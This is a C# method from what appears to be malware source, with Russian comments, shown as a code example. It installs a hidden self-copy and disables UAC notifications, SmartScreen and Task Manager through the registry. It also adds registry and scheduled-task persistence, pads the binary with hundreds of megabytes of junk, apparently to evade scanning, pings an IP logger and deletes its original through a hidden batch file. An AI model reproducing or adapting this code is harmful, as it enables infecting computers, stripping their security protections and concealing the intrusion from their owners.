Beispiel #1
0
        public static void GetInstall()
        {
            if (File.Exists(Help.LocalData + "\\" + Help.HWID))
            {
                if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID))
                {
                    //Вырубить показ скрытых файлов если включенно
                    new Thread(() =>
                    {
                        Thread.Sleep(new Random(Environment.TickCount).Next(60000, 340000));
                        try
                        {
                            RegistryKey rkey = Registry.CurrentUser;
                            rkey             = rkey.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced");
                            rkey.SetValue("Hidden", 0);
                        }
                        catch { }
                    }).Start();
                }
                else
                {
                }
            }

            else
            {
                try
                {
                    //Файл детект заражения
                    File.Create(Help.LocalData + "\\" + Help.HWID);
                    File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System);

                    DirectoryInfo Edir;
                    Edir = Directory.CreateDirectory(Dir);
                    Directory.CreateDirectory(Dir);
                    Edir.Refresh();

                    Thread.Sleep(new Random(Environment.TickCount).Next(2000, 5000));

                    // Копируемся
                    File.Copy(Assembly.GetExecutingAssembly().Location, Dir + Help.bin);
                    File.SetAttributes(Dir + Help.bin, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System);

                    // Отключаем UAC уведомления
                    new Thread(() =>
                    {
                        RegistryControl.ToogleUacAdmin(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0);
                    }).Start();

                    // Отключаем SmartScreen
                    new Thread(() =>
                    {
                        RegistryControl.ToogleSmartScreen(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer", "SmartScreenEnabled", "Off");
                    }).Start();

                    // Отключаем Диспетчер Задач
                    new Thread(() =>
                    {
                        RegistryControl.ToogleTaskMandRegedit(@"Software\Microsoft\Windows\CurrentVersion\Policies", 1);
                    }).Start();

                    //Добавление в реестр
                    new Thread(() =>
                    {
                        Registration.Inizialize(true, Help.NameRegRandom, Dir + Help.bin);
                    }).Start();

                    // Добавляем байты рабочему билду
                    FileStream fs        = new FileStream(Dir + Help.bin, FileMode.OpenOrCreate);
                    byte[]     clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
                    fs.Write(clientExe, 0, clientExe.Length);
                    byte[] junk = new byte[new Random().Next(650 * 1024 * 1000, 750 * 1024 * 1000)];
                    new Random().NextBytes(junk);
                    fs.Write(junk, 0, junk.Length);
                    fs.Dispose();

                    // Пингуем логгер
                    new Thread(() => { IPLog.GetIP(); }).Start();

                    // Адекватное самоудаление и добавление в планировщик задач с интервалом в 4 минуты
                    string batch = Path.GetTempFileName() + ".bat";
                    using (StreamWriter sw = new StreamWriter(batch))
                    {
                        sw.WriteLine("@echo off");
                        sw.WriteLine("timeout 4 > NUL");                                                                                                                                  // Задержка до выполнения следуюющих команд
                        sw.WriteLine("schtasks.exe " + "/create /f /sc MINUTE /mo 5 /tn " + @"""" + Help.NameRegRandom + @"""" + " /tr " + @"""'" + Help.WorkingDir + Help.bin + @"""'"); // Прыгаем в планировщик
                        sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q");                 // Удаляем исходный билд
                        sw.WriteLine("START " + "\"" + "\" " + "\"" + Dir + Help.bin + "\"");                                                                                             // Запускаем рабочий билд
                        sw.WriteLine("CD " + Path.GetTempPath());                                                                                                                         // Переходим во временную папку юзера
                        sw.WriteLine("DEL " + "\"" + batch + "\"" + " /f /q");
                    }


                    Process.Start(new ProcessStartInfo()
                    {
                        FileName        = batch,
                        CreateNoWindow  = true,
                        ErrorDialog     = false,
                        UseShellExecute = false,
                        WindowStyle     = ProcessWindowStyle.Hidden
                    });
                    Environment.Exit(0);
                }

                catch
                {
                    File.Delete(Help.LocalData + "\\" + Help.HWID);
                }
            }
        }